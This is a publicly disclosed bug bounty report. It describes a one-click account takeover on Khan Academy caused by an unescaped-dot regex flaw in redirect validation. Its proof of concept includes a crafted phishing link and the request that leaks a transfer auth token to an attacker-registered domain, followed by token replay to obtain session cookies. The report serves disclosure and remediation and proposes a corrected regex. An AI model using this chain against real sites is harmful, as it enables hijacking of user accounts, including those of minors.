HexBrain

Khan Academy · Report #3723458

1-Click Account Takeover via Open Redirect through Regex Bypass in Domain Validation

Validstatus
criticalseverity
126upvotes
20 Jun 2026disclosed

How it was found

Summary

Hello there,

During my security research, I identified a critical vulnerability chain that allows an attacker to achieve full account takeover of any Khan Academy user. The attack exploits an unescaped dot flaw in the KA_DOMAIN_REGEX regular expression used to validate redirect URLs, combined with the transfer auth token mechanism used in the cross-domain authentication.

When a user is redirected to a different Khan Academy subdomain after login, the application generates a one-time transfer auth token and passes it in the URL. By exploiting the regex flaw, an attacker can register a domain that passes the validation check, causing the victim's transfer auth token to be sent to an attacker-controlled server. The attacker then replays this token on any legitimate Khan Academy domain to obtain a full session (KAAS, KAAL, KAAC cookies) as the victim.

Root Cause

When investigating common parameters used in the khanacademy.org apex domain, I noticed the parameter continue triggered a cross-domain authentication. Essentially, it initiates this custom authentication by generating a temporary auth token that can be reconstructed on the cross-domain to establish the same session, on the new domain.

When testing it out, I noticed the url that I passed in continue was subjected to a regex that only allowed specific URLs to be used.

By leaking the map source from https://cdn.kastatic.org/khanacademy/khanacademy.<hash>.js.map, I was able to identify the frontend source code at libs/urls/src/regexp.ts which was responsible to validate what URLs were trusted or not. Effectively, this is the current implementation:

KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/

Although at first look, the regex seems correct, it is not really robust. The issue is that dots between uc, a, run, and app are not escaped, meaning it could be any character, not necessarily a dot (.).

With this in mind, I tested for the following subdomain xfarr-6fmjyrz2lq-uc-a-run.app(which I ended up registering myself for this PoC) and a successful Open Redirect was validated.

Intended:   legitimate-service-6fmjyrz2lq-uc.a.run.app    ✓ matches (Legit Cloud Run service)
Unintended: xfarr-6fmjyrz2lq-uc-a-run.app    ✓ matches (Attacker-controlled)

To escalate this vulnerability to a P0, the attacker can lure the victims to click the malicious link: https://classroom.khanacademy.org/login?continue=https%3A%2F%2Fxfarr-6fmjyrz2lq-uc-a-run.app%2F (Though it can be any domain that uses this feature in the *.khanacademy.org domain).

The victim accesses the classroom.khanacademy.org, which initiates the cross-domain authentication mechanism, consequentially being redirected to the malicious server xfarr-6fmjyrz2lq-uc-a-run.app leaking the Auth Token.

At this point, the attacker can take the auth token and establish the session in any of the *.khanacademy.org domains as the victim.

PoC

Step 1 - Attacker registers a matching domain

The attacker registers a domain xfarr-6fmjyrz2lq-uc-a-run.app. For this proof of concept, I registered:

xfarr-6fmjyrz2lq-uc-a-run.app

{F5885451}

This domain passes KA_DOMAIN_REGEX.test() because the unescaped dots match the hyphens.

Step 2 - Attacker sets up an HTTPS listener and crafts a phishing link

The attacker sets up a simple HTTPS server on this domain to capture incoming requests.

{F5885456}

The attacker constructs a link that triggers the cross-domain redirect flow:

https://classroom.khanacademy.org/login?continue=https%3A%2F%2Fxfarr-6fmjyrz2lq-uc-a-run.app%2F

This link can be delivered via email, embedded in a classroom assignment, shared in the Discourse forum, or sent through any other communication channel.

Step 3 - Victim clicks the link

When the victim (who is already logged in, or logs in) clicks the link:

  1. The Khan Academy SPA loads on classroom.khanacademy.org (though the scope is *.khanacademy.org).

  2. The calculateNextUrl pipeline processes the continue parameter

  3. isKhanAcademyUrl() validates the redirect URL against KA_DOMAIN_REGEX

  4. Since the destination hostname (xfarr-6fmjyrz2lq-uc-a-run.app) differs from the current hostname (classroom.khanacademy.org), the maybeAddAuthTransfer() function is triggered

  5. The function calls createTransferAuthTokenMutation, which generates a one-time transfer auth token tied to the victim's session

  6. The function constructs a redirect URL: https://xfarr-6fmjyrz2lq-uc-a-run.app/transfer_auth?key=<TOKEN>&continue=/

  7. The victim's browser is redirected to the attacker's server

The victim perspective sees a 404: {F5885466}

But on the attacker-controlled server the auth token is leaked:

████████

Step 4 - Attacker captures the token

The attacker's server receives the HTTP request containing the victim's transfer auth token in the URL:

GET /transfer_auth?key=<TOKEN?>&continue=/ HTTP/1.1
Host: xfarr-6fmjyrz2lq-uc-a-run.app

The attacker's server extracts the key parameter value. The token is not consumed at this point because the Khan Academy JavaScript (which calls transferAuthMutation to consume the token) does not run on the attacker's domain. The token remains valid in Khan Academy's backend database.

The attacker will then use this token as a replay attack.

Step 5 - Attacker replays the token

The attacker opens their browser (I am using incognito for the PoC), which will trigger the authentication and complete the Account Takeover.

On this legitimate Khan Academy domain:

  1. The SPA loads and reads the ?key=TOKEN parameter from the URL

  2. The JavaScript calls transferAuthMutation, sending the token to the Go backend

  3. The backend validates the token against its database, identifies the victim's user account

  4. The backend responds with Set-Cookie headers, issuing a full set of authentication cookies:

    • KAAS: long-lived session cookie
    • KAAL: short-lived access cookie (contains the user's KAID)
    • KAAC: access control context cookie
    • reauth_token: re-authentication token
  5. The attacker's browser is now fully authenticated as the victim

████████

Impact

Impact

This vulnerability allows any attacker to achieve full account takeover of any Khan Academy user, including teachers, students, parents, and district administrators, with a single click from the victim.

The attacker gains complete access to:

  • Personal information: email, birthdate, profile data
  • Student data: classroom rosters with student emails and KAIDs, progress reports, assignment scores
  • Teaching materials: Khanmigo AI-generated documents, lesson plans, chunked text resources
  • AI conversation history: private Khanmigo/AI Guide transcripts
  • Account settings: ability to modify nickname, language, email preferences
  • Classroom management: ability to rename classrooms, modify courses, manage students
  • District administration: for district admin accounts, access to school/district management

Since Khan Academy is an educational platform used by millions of students, many of whom are minors, unauthorized access to teacher and student accounts carries particularly severe privacy implications under regulations such as COPPA and FERPA.

Recommended Fix

Escape the dots in the regex

Change:

KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/

To:

KA_DOMAIN_REGEX = /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc\.a\.run\.app)$/

This ensures only literal dots match, preventing .app TLD domains from passing validation. The authentication itself is not the main issue, as it is leveraged by this small bug.

Additionally, part of the code analysis was immensely facilitated by having discovered the map file associated with the vulnerable function (https://cdn.kastatic.org/khanacademy/khanacademy.<hash>.js.map). Although this is not a vulnerability by itself, it is recommended to not include in production environments.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original